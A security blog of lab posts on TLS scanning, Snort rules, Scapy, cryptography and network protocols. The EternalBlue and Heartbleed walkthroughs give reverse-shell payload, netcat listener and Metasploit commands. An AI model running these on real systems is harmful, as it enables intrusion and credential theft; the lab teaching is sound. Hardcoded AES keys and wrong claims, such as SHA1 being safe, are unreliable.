18 Apr 2020

Python : SSL Version Scanner



Python package to find SSL/TLS version of a Host. You can modify the script for host, and get the SSL/TLS version number in order to find their vulnerabilities.

Follow this below link, to get your package ready :

https://khirawadhi.blogspot.com/2018/04/how-to-build-python-package-and-keep.html 

After setting up, use this in your script to get the ssl/tls version number.

1) This is your  __init__.py  script

#! usr/bin/python

import socket
import nmap

def printSSL(h):
    host = h
    addrs = socket.gethostbyname(host)

    nm = nmap.PortScanner()
    nm.scan(hosts= addrs, arguments='-n -sV --script ssl-enum-ciphers -Pn -p 443')
    ssl = nm[addrs]['tcp'][443]['script']['ssl-enum-ciphers']

    for item in ssl.split("\n"):
        if "TLSv" in item:
             version = item.strip()
             print ("SSL/TLS Version of " + str(host) + " is %s" % version)


2) This is your setup.py script

from setuptools import setup

setup(name='SSL_Scanner',
      version='0.1',
      description='Version Scanner',
      url='http://maddog.com',
      author='Hooman',
      author_email='hooman@example.com',
      license='CAT',
      packages=['SSL_Scanner'],
      zip_safe=False)

3)  Install twine to register the package

# pip install twine

4) Register your package

# python setup.py sdist

5) Upload your package to PYPI

# twine upload dist/*

6) pip install this package

# pip install SSL_Scanner

7) Use the package in your script

>>> import SSL_Scanner
>>> SSL_Scanner.printSSL("yahoo.com")
or
>>> SSL_Scanner.printSSL("bingo.com")

There you have it, above script(s) will give us the list of ssl/tls version number which can further be used to get the vulnerabilities of an host.

How to build python package and keep your sanity



Python is a cool language, we can do near to everything, whether to run a Hello World to developing a tool. Here we'll see how to create your own sample python package in easy steps.

1) Package Structure  (Very Important )

       your_directory/
             sub_directory/
                    __init__.py
             setup.py
e.g.,
      sample/
            sample/
                 __init__.py
            setup.py


2) Create __init__.py file

We need __init__.py file, to initialize the python package and to differentiate from other files.
This file contains only the function to be executed. e.g,

def hello( ):
    return (u'Hello Evil Wolrd')

3) Create setup.py file

This is very important file , it contains a global setup( ) function. It gives specific details of your package.
Create a setup.py file in the main directory and outside sub-directory and write the following below

from setuptools import setup

setup(name='Sample',
      version='0.1',
      description='Sample Demo',
      url='http://maddog.com',
      author='HocusPocus',
      author_email='Hocus@example.com',
      license='DEMO',
      packages=['Sample'],
      zip_safe=False)


4) pip install <  .  >

This will install your package on your local system. (This can only be used locally. )

# pip install .

Remember there is ( . ) at the end of the command.

5) Use twine, for your package.

# pip install twine

6) Register your package in PYPI

Now to make your package available globally, register your package into PYPI. Go to the directory containing setup.py file and sub-directory and run the following :

# python setup.py sdist

This will generate a zip file of your package as source distributor.

# twine upload dist/*

This will upload your package to PYIP. 
Ihis command will ask for user name and passwd. Give a username and passwd, and it will upload your package to PYPI.

Check:  https://pypi.org/project/<your_package_name>  
Whether your package exists or not.

7) pip install <your_package_name> 

This will install your package from anywhere to any machine, as long it has python installed.

# pip install <your_pacakge_name>


There you have it, your python package.

17 Apr 2020

What is Snort Rule and How to write one ?



What is Snort Rule ?
It is a Network Intrusion Detection and Prevention System which uses Rules.

These rules are the combinations of the signatures, protocols, inspection method like expected malicious behaviour in the network like DDOS, Buffer overflow, OS Fingerprinting, stealth scan.

It also does real time analysis of the network traffic. It uses libpcap for linux/unix environment and for windows it uses winpcap.


How to write Snort Rule ?
It contains Rule Header and Rule Option.

Rule Header:
It identifies actions such as alerts, logs, passwords.

Rule Action : It is used to tell what actions to take when certain conditions are met.
Pass : It tells Snort Rule to ignore the packets.
Log: It is used to Log the packets.
Alert: It is used to generate a alert message when conditions are true for a traffic.
Activate: It is used to create a alert and also activate another rule to check for more conditions.
Dynamic: These rules are triggered by a different rule using activate rule option.
User Defined Action: It is used to create a our own rule option(s).

Rule Option :
It identifies rule alert's message.

Message: It is used to log the packets and alert when a rule is fired.
Reference: It includes the reference to the external attack identification system.
Generator ID: It identifies what part of the snort rule to fired when certain event has occurred.
Snort Rule Id: It uniquely identifies the snort rule.
Revision: It uniquely identifies the revision of snort rule.
ClassType: It is used to categorize a rule as it detects a attack from the attack class.
Priority: It is used to assign the security level to the rule.
Metadata: It is used to give more information to the Rule.

Examples :

alert tcp any any -> any 80 ( msg: "TCP Traffic alert"; content: "login"; flags:s; sid:100;)

alert udp any any -> any any ( msg: "UDP Traffic alert"; content: "login"; sid:101;)

alert : It is a Rule Action. Snort will generate the alert when the conditions are satisfied.
any  : It's for Source IP address. By setting it as "any", snort will look for all the source IP's.
any  : It's for Source Port number. With "any", snort will look in all the ports.
->    : It's for the direction to flow. From Source to Destination.
any  : It's for Destination IP address. By setting it as "any", snort will look for all the destination IP's.
any  : It's for Destination Port number. With "any", snort will look in all the ports.
msg : It contains the message with the alert.
content : It tell rule, on what action this rule should be fired.
flags : It's used to define the type of flag to look upon.
sid   :  It is a snort unique ID for that rule.


Let's see our Rules in Action:

Example 1)

alert icmp any any -> $HOME_NET any (msg:"ICMP test"; sid:1001; rev:1; classtype:icmp-event;)

This is simple example of Snort Rule, which generate alert when we perform icmp request and get icmp response back to home network, aka Ping.



We ping to google dns ( 8.8.8.8 ) in terminal :



Check Squirt in Security Onion for Snort alert.


Let's see some more Examples:


Example 2)

Snort Rule For EternalBlue Vulnerability:

Refer to the previous blog  "Eternalblue vulnerability" to perform exploit on SMB.


There we have captured the pcap and we can see that, there we've got lots of  'A' character in the pacp


We will use the hex value of this 'A' character which is '41' in our snort rule, as it is more efficient then ACSII value. We have 1449 'A' characters, so we will put 1449 '41' inside our rule.

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"Possible buffer overflow attempt over port 445."; content:"|4141...14141|";sid:10000006; rev:1;)

As you can see, in our Security Onion, Squirt is able to fired up our Rule:



Example 3)

Snort Rule For Heartbleed Vulnerability:

Follow this link below to perform exploit with Heartbleed vulnerability.

Here in the pcap, we can see the data flow in plain text. We will use that info in our rule.



alert tcp $External_NET 443 -> $HOME_NET any (msg:"Plaintest HTTP headers User-Agent and Host detected over port 443 (response from server).";flow:from-server, established; content;"User|2d|Agent"; content:"Host|3a|"; sid:10000008; rev:1;)

Here, you can see, our snort rule for Heartbleed vulnerability is being fired in Squirt, Security Onion :








25 Mar 2018

Exploitation : Heartbleed Vulnerability : Ubuntu Server 12.04



What is Heartbleed Vulnerability?

It's a vulnerability in the OpenSSL Cryptographic software Library, where it doesn't do bound check for input validation in the heartbeat extension where data can be accessible then it shouldn't be, Authorization Credentials can be seen in plain text aka leaking of information bypassing the confidentiality.

What we need:
1) Ubuntu Server - 12.04 (Target Machine)
2) Kali VM (Attack Machine)
3) Security Onion (Sniffing Interface)

In Ubuntu Server:
After setting up the Ubuntu Server, Run the following as a Root User:

# apt-get install apache2.2-common
# a2enmod ssl
# service apache2 restart
# mkdir /etc/apache2/ssl
# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/webserver.key -out /etc/apache2/ssl/webserver.crt

The above command will create us a webserver key and certificate.

Info:
Ubuntu Server IP address: 192.168.163.140

Now we have to modify the default ssl file:

# vi /etc/apache2/sites-available/default-ssl

Edit the file with our generated key and certificate with the following commands:

ServerName 192.168.163.140:443



/etc/apache2/ssl/webserver.crt
/etc/apache2/ssl/webserver.key



After editing, save the file and run the following commands :

# apt-get install apache2-mpm-prefork
# a2ensite default-ssl
# service apache2 reload

Now our Ubuntu Server will be vulnerable to the Heartbleed.

In Security Onion:
Open a terminal and start sniffing for our eth1 interface, which is our Ubuntu Server and save it into a file called heartbleed.pcap.

# sudo tcpdump -nnttttAi eth1 -w heartbleed.pcap


In Kali VM:
Open the Web Browser, to check whether we can access our Ubuntu Server:




Now we use  Burp Suit, to simulate the HTTPS traffic and Get Requests, which will have Authorization Basic. As we are going to use this Heartbleed vulnerability, we can see the credentials in our payload. Let's try that out :

Open Burp Suit and do the following:

Open a new Tab:
Host: 192.168.163.140 (Ubuntu Server)
Post: 443



Create a fake Post Request for the payload:



In the Payload Tab, generate the Payload, upto 60, in order for it to repeat the connection over and over.



Now Open a terminal and run msfconsole: 
Just to get our heartbleed exploit ready.

# msfconsole
# search heartbleed

Now choose the info leak payload:

# use auxiliary/scanner/ssl/openssl_heartbleed



# set RHOSTS 192.168.163.140

# set VERBOSE true




Now come to Burp Suit and Start the attacks .
After starting the attack, come back to the terminal and run command: exploit
And you will see something like this:



You may not get the modified Post request first time in the payload when running the exploit, maybe hitting exploit couple of time after. Because, memory changes everytime as we run the exploit  which gives different results each time.

As you can see, we get the Authorization Basic in clear text, which shouldn't be disclosed. This may contain, credentials : Login and Passwd.

In Security Onion:
Open  squert, enter your credentials to see what type of Snort Rules are being fired in result of this exploitation:


As you can see, we have some Rules Alerting for Heartbleed Vulnerability. Open some event, check for their rule type, hex value, heartbeat request and response and payload.

Back to Security Onion terminal where we were doing tcpdump. Close that command and run the following command which open the captured file:

# tcpdump -nnttttAr heartbleed.pcap port 443 | less -Sr


As you can see, we have captured the Authorization Basic in Clear Text.






21 Mar 2018

Exploitation with Eternalblue : Win7


What is Eternalblue?

It's a software vulnerability in Microsoft windows OS works by exploiting Microsoft Server Message Block 1.0 (SMB) on various Microsoft Windows versions.
SMB or Server Message block is a network file sharing protocol, which allow applications on a computer to read and write to files and to request services on the same network.

How  Eternalblue Exploit works ?

It allow us to write and overwrite the memory by sending large buffer into the SMB1 buffer. Then kernal memory pool is organized and makes the RIP pointer point to the overwritten memory to read and execute our payload.

We are going to use a standalone Eternalblue exploit model using python. This is a bufferoverflow, which allow us to attack a vulnerable Win7 VM and give us the system-level cmd.exe shell.

What we need :
Win7 VM (Vulnerable Machine)
Kali linux (Attack Machine )
(Optional) Security Onion (Sniffing Interface between Kali and Win 7)

Info: 
Kali VM IP : 192.168.163.135
Win7 VM IP: 192.168.163.130

In Win7 VM :
1) Open command prompt as an administrator
2) Type: powershell
3) To enable SBM version 1, type:
Set-ItemProperty -Path"HKLM:\SYSTEM\CurrentControlSet\Services\LammanServer\Parameters" SMB1 -Type DWORD -Value 1 -Force
4) Disable Firewall

At this point, our Win7 VM is vulnerable to Eternalblue.

(Optional) In Security Onion:
Set Security Onion, network adapter in promiscuous mode. Security Onion will ack as an Sniffing interface between Kali VM and Win7 VM.

In terminal, type:
$ sudo tcpdump -nnttttAi eth0

It will start sniffing on that interface.



In Kali VM:
1) Ping to Win7 IP, to check connections.
2) Do nmap to check whether Win7 is vulnerable to nse script which is related to SMB vulnerabilities.
3) Open terminal, and type:
$ nmap -p 445 --Script smb-vuln* 192.168.163.130





This says that Win7 vulnerable, let's test it out.

Download the Eternalblue MS17-010 from the github,
link: https://github.com/worawit/MS17-010.

Unzip the file and go to the download folder in the terminal where it will have all the file from the downloaded zip file and run the following command:

$ nasm -f bin eternalblue_kshellcode_x86.asm

This will generate a malicious payload that allow us to get a reverse shell from Win7 VM to Kali VM.

$ msfvenom -p windows/shell_reverse_tcp -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o meterpreterx86.bin EXITFUNC=thread LHOST=192.168.163.135 LPORT=4444 -b \x00\x0a\x0d

< Shikata ga nai : it can't be helped 😛>


$ cat eternalblue_kshellcode_x86 meterpreterx86.bin > sc_x86.bin

Open a new windows in Kali VM, and for netcat to start listening to (4444) this port.

$  nc -nlvp 4444

Back to old terminal where we were running our payload and run the following command.

$ python eternalblue_exploit7.py 192.168.163.130 sc_x86.bin




While running this command, my Win7 VM has been crashed, you may encounter with this issue, as we are running a buffer overflow. If it doesn't then you will get the system level access to the Win7. If it has crashed, let the Win7 system reboots and run the last command in kali again, and you will see something like this, in the terminal where we were doing netcat.



Check your Win7 VM, to verify that we got shell level access.


Voilà, 😈 you have compromised Win7 VM. 

In Security Onion: 
(Optional, but if you wanna know about rules and alerts, here you go. 😎)

Now, we go to Security Onion to Check, what type of snort alert has been occurred in result of this exploitation.
Open Squert, login with your credentials and you will see something like this. 



Open any alert, you will see rules type, check it's hex value. These rule alerts says that a exploit has been performed. 
To verify that our exploit was successful, we will check our pcap, which we were generating with tcpdump in Security Onion.

Open terminal and type the following command:

$ tcpdump -nnttttAr eternalblue.pcap | less -Sr

You can see, we get the SMB vulnerability , running at port 445.



Here, we have got the Win7 access:



As you can see in the pcap, we have got the system level access. It shows us in plain text. It's the same as what we have with win7 VM, command prompt. 









10 Mar 2018

Packet Replay in Scapy


What is Scapy ?
Scapy, it's a tool, a utility used for modifying our packet and then send them over the network. With scapy, it's huge possibility to perform any sort of actions like Scanning, tracerouting, network discovery, attacks, hping most of the Nmap functions, arp-spoofing, arp-poisoning, tcpdump, VoIP decoding, WEP encryption... you name it.

Here, we'll be performing TCP Handshake, then we Capture those packets and do Replay in Scapy.

TCP 3-Way Handshake and Packet Replay: 
# Scapy Console

>>>ip = IP(src='192.168.163.133', dst='192.168.163.135')
>>>SYN = TCP(sport=1024, dport=80, flags='S', seq=12345)
>>>packet = ip/SYN
>>>SYNACK = sr1(packet)
>>>ack = SYNACK.seq + 1
>>>ACK = TCP(sport=1024, dport=80, flags='A', seq=12346, ack=ack)
>>>send(ip/ACK)
>>>PUSH = TCP(sport=1024, dport=80, flags='', seq=12346, ack=ack)
>>>data = "HELLO!"
>>>send(ip/PUSH/data)

# Run the Wireshark and Save the capture as tcp.pcap # Apply filer for "TCP" and you'll see something like this. # I am getting Reset back as port is close on this tcp.












# Replay the saved tcp.pcap packet and apply filter "tcp" to view tcp 3 way handshake.


>>>packet = rdpcap('tcp.pcap')
>>>p.show()
>>>packet[TCP].summary()


# Run this and in scapy console, you'll get something like this.






































# Python Script for TCP Handshake:

#!/usr/bin/env python 
from scapy.all import *
ip = IP(src='192.168.163.133', dst='192.168.163.135')
SYN = TCP(sport=1024, dport=80, flags='S', seq=12345)
packet = ip/SYN
SYNACK = sr1(packet)
ack = SYNACK.seq + 1
ACK = TCP(sport=1024, dport=80, flags='A', seq=12346, ack=ack)
send(ip/ACK)
PUSH = TCP(sport=1024, dport=80, flags='', seq=12346, ack=ack)
data = "HELLO!"
send(ip/PUSH/data)


# Python Script for Packet Replay 

from scapy.all import *
pkt = rdpcap('tcp.pcap') 
for packet in pkt:
     print packet[tcp].summary()



























8 Jan 2018

Cryptography



What is Cryptography ?

It is a process of providing security to the information and resources from unauthorized access.
Process includes converting data into encrypted data and then decrypt it into original data

Cryptography follow CIA Triad: Confidentiality Integrity Availability

Confidentiality: Protect information from 3rd party.
Integrity: Information should not be altered in any form.
Availability: To be available when called upon via authorized personage.

Why Cryptography?

It Makes Secure Web sites and Safe electronic transmission (Secure Key Exchange)
It Supports message authentication as well as encryption (Prevent us form MITM attack)


Types of Cryptography

Symmetric Cryptography:

It uses same keys to encrypt and decrypt data.
Process:  Sender->data->key->cipher text->key->data->Receiver
Where both the sender and the receiver should know the secret key that is used to encrypt and decrypt the data.

Types of Symmetric Cryptography:

Stream Cipher: 
Process:  Sender -> plain text -> cipher -> send over -> Receiver
Algorithm uses: RC4

Block Cipher: 
Process: Sender -> plain text -> Break text in blocks -> Encrypt 1st block ->Add the 1st block cipher to next 2nd block sequence -> to next block... till the last block  -> send over -> Receiver
Algorithm uses: DES, 3DES, AES, Blowfish, Twofish

Symmetric Examples: Blowfish, Twofish, AES, RC-4,5,6, DES, 3DES
Algorithms: AES-128,192,256

Strength:
It is faster then Asymmetric and it is difficult to crack.
It does file encryption and files in storage using AES algorithm
It does VPN encryption uses AES256 algorithm.
Financial transaction security uses 3DES algorithm.

Weakness:
It needs individual keys for every other session for secure transmission.
It does not provide non-repudiation.
Lacks in message, website security and key transfer.

Asymmetric Cryptography:

It uses two different keys private and public key. For one to encrypt and other key to decrypt.

Process:  Sender->data->Receiver's-Public-key->cipher text->Private-key->data->Receiver

Asymmetric Examples: RSA DSA ECC
Algorithms:Diffie-Hellman, RSA, ECC, ElGamal, DSa

Strength:
It give us message encryption and authentication, which helps us from Men In The Middle Attack.
Website Security and digital signature.
Secure key exchange and management.

Weakness:
It is slower then Symmetric Key Exchange.
It works best along with Symmetric Key Cryptography.

Cryptography Python Examples:

Library Used: pycrypto
Python Version: Python 3.6.3
Message Length: Multiple of 16

Encryption Example:

#sample script for encrypting text
from Crypto.Cipher import AES
obj = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')
message = "May The Force Be With Us        "

#Encryption
ciphertext = obj.encrypt(message)
print('\n', ciphertext)

Output:













  xb'l\xac\x18&\xadv\xa6\x8a\x9bZ\xfd}\xf9\xe6"\x9e\x9cX\'N8g\xe2\xb5,!F\xddJ\xe3\xa7\xab'

Decryption Example:

#sample Script for encryption and decryption
from Crypto.Cipher import AES
obj = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')
message = "May The Force Be With Us        "

#Encryption
ciphertext = obj.encrypt(message)
print('\n', ciphertext, '\n')
obj2 = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')

#Decryption
result = obj2.decrypt(ciphertext)
print(result, '\n')

Output:

b'l\xac\x18&\xadv\xa6\x8a\x9bZ\xfd}\xf9\xe6"\x9e\x9cX\'N8g\xe2\xb5,!F\xddJ\xe3\xa7\xab'

b'May The Force Be With Us       

Another Example of Both Encryption and Decryption:

#Sample Encryption and Decryption
from Crypto.Cipher import AES
obj = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')
message = "This is some text we need to encrypt because it's very secret   "

#Encryption
ciphertext = obj.encrypt(message)
print('\n', ciphertext, '\n')
obj2 = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')

#Decryption
result = obj2.decrypt(ciphertext)
print(result, '\n')

Output:

b'G\x0c\xc9:\xd2k\xd7g\xf0\x9d\xda\xb2\xc0\x10\x1c\x97E\xb2\xc4\xce\x9f\xb6\xd6\x05G\x89\xa1<\xe6\xd5{0\xe7\xe6\xdd[\xe8P\xda\xd8P\x04\xcfB\xb2{v\xb8\x03\x0f\xb9\xce\xc3d\xaa_\xa0\x99\xef\xe2\xb54\xdb\\'

b"This is some text we need to encrypt because it's very secret   "





6 Jan 2018

Fuzzing HTTP Request In Python With Scapy



What is Fuzzing ?

Fuzzing or Fuzz Testing is a testing technique which is used for finding bugs, coding errors or any security loopholes using injecting malformed or modifying data inside software or OS or Network.

What is Scapy ?

Scapy is packet manipulation tool for network.
It is able to decode or forge packets, send them over wire, capture the packets, send requests and replies, etc.

Fuzzing HTTP Get Request In Python With Scapy:

#Sample Fuzzing Script
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *
import sys

conf.L3socket
conf.L3socket=L3RawSocket

def main():
    syn = IP(dst='localhost') / TCP(dport=80, flags='S')
    syn_ack = sr1(syn, iface='lo')
    getStr = 'GET / HTTP/1.1\r\nHost: localhost\r\n\r\n'
    request = IP(dst='localhost') / TCP(dport=80, sport=syn_ack[TCP].dport,
                 seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1, flags='A') / getStr
    reply = sr1(request, iface='lo')
 
if __name__== "__main__":
    main()


Test Cases and Response:

Modifying GET Request:

e.g., < getStr = 'GET / HTTP/1111\r\nHost: localhost\r\n\r\n' >



e.g., <getStr = 'GET / HTTP/1111\r\nContent-Lenght: -1111\r\nHost: localhost\r\n\r\n >



e.g., <getStr = 'GET / HTTP/1111\r\nAccept: png/txt\r\nHost: localhost\r\n\r\n' >



e.g.,<getStr = 'GET / HTTP/1111\r\nKeep-Alive: 10\r\nHost: localhost\r\n\r\n'>



e.g.,<getStr = 'GET / HTTP/1111\r\nAccept-Encoding: jpeg. xml\r\nHost: localhost\r\n\r\n'>












27 Dec 2017

Telnet




Telnet is a application layer protocol where one system can access and use another system over a virtual connection using Telnet Client and Telnet Server by logged into a user's account on port number 23, if they are connected locally.

How telnet works:

Step 1) Install Telnet Client and Telnet server at both client and server side
Step 2) Create a account (Username and password) in client side.
Step 3) Telnet client will send a request to Telnet Server.
Step 4) Telnet server will reply back with asking username and password.
Step 5) If accepted, Telnet Client will established a connection with client.
Step 6) Via virtual terminal, we have access to the client's system.
This all happen when client initiates TCP 3 way-handshake to the server.

Let's see how it does look like, we'll use wireshark for instance.

TCP Handshake before Telent:

Telnet Server IP: 192.168.0.1
Telnet Client IP:  192.168.0.2








 Telnet Server ask for login details to Telnet Client:









Telnet Client response with credentials:

UserID:






Password:






 And Finally Session is closed:

22 Dec 2017

VPN




What is VPN
VPN or Virtual Private Network is a way of connecting a computer to a private network in a public network. It provide us with hard tracking connection by being an anonymous user.

Why We Use VPN
--> Access You Business Network while using public WiFi
--> Access your Home network over VPN while traveling
--> We can Hide our Browsing activity from our ISP
--> We can access Blocked websites
--> We can Download files
--> We can bypass internet over restricted zones...

Setup You Own VPN using OpenVPN: In CentOS

Step 1) Server setup

--> Use this link to select the platform you want to install

https://openvpn.net/index.php/access-server/download-openvpn-as-sw.html 

--> After selecting the OS, choose the OS version.

--> Right click on the OS version and copy link location.

--> Open Terminal and run as root user and type the following command:

--> #wget <Paste the link location>

--> e.g.,
wget "http://swupdate.openvpn.org/as/openvpn-as-2.1.12 CentOS7.x86_64.rpm"

--> After that, enter the following command

--> # rpm -i openvpn-as-2.1.12-CentOS7.x86_64.rpm

--> After some time, you will get server's and client's IP address.

--> For password, type the following command in terminal

--> # passwd openvpn

--> Choose password according to your need.

--> Copy Server's IP address and paste it in the url bar of broswer

--> On the browser you will get login interface, type

--> user : openvpn

--> password: <Your password>

--> Type agree to ULA (User License Agreement)

--> Now you have server up and running.

--> Create a user in the terminal. Use command:

--> # adduser <username>

--> #passwd <password>


Step 2) Client setup

--> In the browser, logout from the admin to come to the connect page and download client openvpn, which will be in the end of interface.

--> Open terminal, become a root user and install client.ovpn file

-->Now type the following command

--> #openvpn client.ovpn

--> # username <type your openvpn username>

--> #passwd <type your openvpn password>

--> Now your openvpn client is up and running

--> Open a new tab in browser and check your IP. It will have new location.


How It Works:

--> As we know, when a computer sends data to another computer through internet, it sends in a series of packets.

--> While in tunneling, the entire packet is send across the internet inside another packer aka encapsulated inside another packet.

--> This encapsulation hides the actual data from external view.

--> VPN creates a secure tunnel across the internet between our system and the our internet destination.

--> This tunnel is first created by authenticating our system with the VPN server (e.g., OpenVPN).

--> Server uses some encryption protocol to secure the data exchange in-between.

Protocols VPN uses:
PPTP: Point To Point Tunneling Protocol
L2TP: Layer 2 Tunneling Protocol
IPSec: Internet Protocol Security
SSL VPN: Secure Socket Layer VPN
SSH: Secure Shell

Other VPN's to use:
1) Openvpn
2) Strong VPN
3) SurfEasy
4) TunnelBear
5) IPVanish VPN
6) HideMyAss
7) Safer VPN

# Although all VPN's are not free, it'll cost you something.


17 Sept 2017

SNMP




Simple Network Management Protocol, works at the Application layer, uses UDP as a transport protocol to manage or monitor hardware and software in a IP network.
It collect and organize information of the network devices like modem, routers, switches, servers used and able to modify them if needed.

How it work: 
1) SNMP Request via snmp manager (A and B)

This is how it looks in wireshark;



2) SNMP Response via snmp agent

This is how it looks in wireshark;



SNMP Manager:
It is an management system or console, which sends IP related query information to the SNMP agent to manage or to make any configuration.

SNMP Agent:
It monitors any system or any network device and responds to the query back to the SNMP manager. It can also send error messages to the SNMP manager if any illegal access has occur.

Step 1) SNMP manager, Host A send a request to another system,  Host B.

Step 2) SNMP manager will create a SNMP message which will contain the number of active sessions, community of SNMP manager, destination (Host B) IP address.

Step 3) SNMP server will then send this message to the Host B.

Step 4) Host B will then receive the requested message.

Step 5) Host B will then verifies or monitor the message, comparing the community of SNMP manager and Source IP address for access permission.

Step 6) If requested content does not match or if it does not have access permission, SNMP agent will send an request of Authentication Error to the community of SNMP manager. And then Community will response to the SNMP agent.

Step 7) In response, Community give the session information of that request to the SNMP agent.

Step 8) SNMP manager will then retrieve that message which contain the IP address of the source Host A back to Destination to Host B.

Step 9) Host B will now response back to the Host A of it's request. Now both the Hosts will communicate.

Use of SNMP:
It is used to reset passwords remotely.
We can re-configure IP addresses.
We can collect error reports, into a log and also send alerts on error condition.
We can also send alerts for device failure or shortage in Memory use or CPU usage.
We can collect information about how much bandwidth is being used.





15 Sept 2017

IP Tables




IP tables, it's an command line linux firewall utility program which allow a system admin for configuration in a linux environment.  It works by checking the packets crossing the network by following some rules to allow or block the traffic in a network.

Firewall is a piece of software or hardware which is used to protect our system from unsecure or untrusted services over the internet. Firewall are often categorized as Network based or Host Based firewall.

Network based Firewall or a packet filter are the software running on a hardware or hardware based application which provide filtering of traffic between two or more networks. Packet filter operate for TCP/IP, where it will not allow or block the IP addresses or any TCP/UDP port when the match is not found with the existing connections. Host based Firewall is a software to control traffic of a single machine.


IP Tables Chain or Rules:
1) Input
2) Forward
3) Output

Input:
It control the incoming connections or the packets that are addressed to our server.

Forward:
It configure the incoming connections which are not created locally or the packets which are destined for other server and route request to the other machine.

Output:
It controls the out going connections or the the traffic created by our sever.

How IP Table Works:
IP table interface, it works by matching each packets that cross the networking interface against a set of rules to decide what to do with the packets. Packets passing through the firewall are directed through one of the policy rule or Chain, depending upon the source and destination address of the packets.

Step 1) Packet or data request come to the firewall.

Step 2) Firewall goes though the process of checking policy.

Step 3) If the packet is coming from the outside source to our machine, it passes through the Input Chain.

Step 4)  If the packet is going to the outside source from our machine, it passes through the Output Chain.

Step 5)  If the firewall does not know packets source and destination address or port number, it passes through the Forward Chain.

Step 6) If the packet does not match with the packet protocol type or, with the source and destination IP address or UDP/TCP port of the interface that is being used, or it's relation with the previous packet, then firewall will either drop the packet or accept the packet.


Types of IP Table:
Filter Table: This table is responsible for deciding whether to accept or drop the packet.

NAT Table: This table is responsible for modifying the packet source and destination address and port when it's access point is unknown. 

Mangle Table: This table is used to alter the IP header, either shortening or lengthening the header size.

Raw Table: This table is used to evaluate the packets with respect to the previous packets functionality.

Security Table: This table is used to set internal SELinux security context marks on packets. Where SELinux security is a kernal modification user space tool to access control security policies.




12 Sept 2017

SYSLog



Syslog or Syslog Sever is an standard System Logging Protocol which works at the transport layer of the OSI model for network devices to send logging messages to a loading server. It collect all the error messages, debugged information, or any alert. It is used for managing and securing network and systems via sending an alert message based on the security level to the admin.

Syslog Server(s) mostly use 3 components for logging:
1) Syslog Listener
2) Database
3) Managing and Filtering Software

Syslog Listener:
It receives the response message which sent over the network over UDP and TCP.

Database:
It is used to store the syslog data when we wish to retrieve it quickly.

Managing and Filtering Software:
It is used to manage the large amount of data to process and filter out the important log messages.


Syslog Message Format:   PRI  HEADER  MSG

PRI: 
or Priority, it indicate the security level based on the level of the message.

HEADER: 
It contain the timestamp when the message was generated with host IP address.

MSG: 
or MESSAGE, where it contain the process name and content of the message.


How Syslog Works:

Step 1: We install Syslog service in our server.

Step 2: Server will communicate with the application services.

Step 3: Server will listen to the tcp and udp communications between the system and the services using Syslog Listener.

Step 4: Logged these communications into it's Database.

Step 5: Check for Message priority levels using Managing and filtering Software.

Step 6: If any security alert found, send an alert message to the admin.




20 Aug 2017

SSL/TLS





Transport Layer Security/ Secure Socket Layer. It works at the application layer which provide a standard security technology for authentication and establishing a secure session using certificates.

How TLS Handshake Works:

Step 1) Client Hello
Step 2) Server Hello
Step 3) Server send message to the client contains Certificates, Server encryption Key, and lastly Server Hello Done.
Step 4) Client responds to the server with encryption key, change cipher spec and Finished Message which contain the integrity check aka SHA Algo.
Step 5) Server sends Change cipher suits and the finished message which contain the integrity check.


How does it actually looks like! We will wireshark for analysis:

Client Hello:

Server Hello:



Server Hello Done:



Client Finished Message:



Server Finished Message:



TLS encryption is done by 3 steps: Key Exchange, Data Encryption and Handshake Integrity. 
Key exchange: Is a method where cryptographic keys are exchange between 2 systems, using a crypt algo like RSA, DH, ECDH.
Data Encryption: In TLS it's called as Ciphers. Eg., 3DES, AES algo(s).
Handshake Integrity: Uses SHA algorithm to provide integrity.

How public and private keys are exchange:

Step 1) Https client connect with the https sever
Step 2) Https server sends a certificate which contains 2 large prime numbers aka Public Keys.
Step 3) Https client choose a Private Key, generate Encryption key using Public Keys sent by https server.
Step 4) Server generate encryption key based on it's private key.
Now both share the same shared key.
Step 5) Now both send encrypted message with their shared secret key.

Certificate Chain:
1) First we need Certificate Authority Server (CA)
2) CA will generate a Root Certificate
3) Root Certificate will generate a Intermediate Certificate
4) We sign that Intermediate Certificate Which matched with the Root Certificate
5) After signed Certificate it will issue a Server Certificate, which contains the Domain name.
6) That Intermediate Certificate in uses by the browser.

When we type "Google.com" in the search bar of the browser and hit enter,
1) Server Sends a Certificate to the browser,
2) Browser will verifies the server certificate issues by the Intermediate Certificate
3) It will then checks whether it contains the "Google.com" domain name or not
4) If matches, it's a secure connection,
5) It it doesn't matches, then connection is not secure. There can be many reasons for error. Like: Expiration of Certificate or Invalid certificate.

Bad TLS Encryption Examples:
1) Browser using TLS version less then 1.2
2) Using 3DES algorithm

For Safe Encryption Examples:
1) TLS version more then 1.2
2) Using ECDHE key exchange algorithm
3) Using AES algo.
4) For message integrity using SHA algo, e.g., SHA1.



19 Aug 2017

SMTP




Simple Mail Transport Protocol. It's a connection oriented text based protocol which works at the application layer of network model that allow message services over TCP connection. It is used for sending messages from a sender to an receiver mail server, in TCP Port 25.

Email Client
It's a computer program designed to read, organised and send electronic messages.
It use POP, IMAP, SMTP protocols for communication.

POP
Post Office Protocol POP is an internet standard that defines an email server and the way to retrieve mail from it. It is used to download mail from the server. And it can not send emails.
It has 3 versions: POP,  POP2 and  POP3. POP3 was designed for authentication purposes. It works by storing messages at a POP server, until the user logs in and download messages into their system.

IMAP
Internet Message Access Protocol which is also used to download mails from the server. It is designed to let us keep emails on the server. But it requires more disk space and cpu resources. Works on port 143.


How SMTP works:
Let us assume:
Host ID : me@sender.com
Host email Server: demo.com
Client Id: client@receiver.com
Client email Server: example.com

Step 1) We send an email from an demo.com host server to sender using their mail address, client@receiver.com.

Step 2) Then our e-mail server take senders mail address demo.com and connects to the SMTP sever.

Step 3) Host Mail server will provide the address information of sender's, receiver's mail address and content of the message to the SMTP server.

Step 4) SMTP server will take client's mail id client@receiver.com and divide it into client's name and the it's domain name.

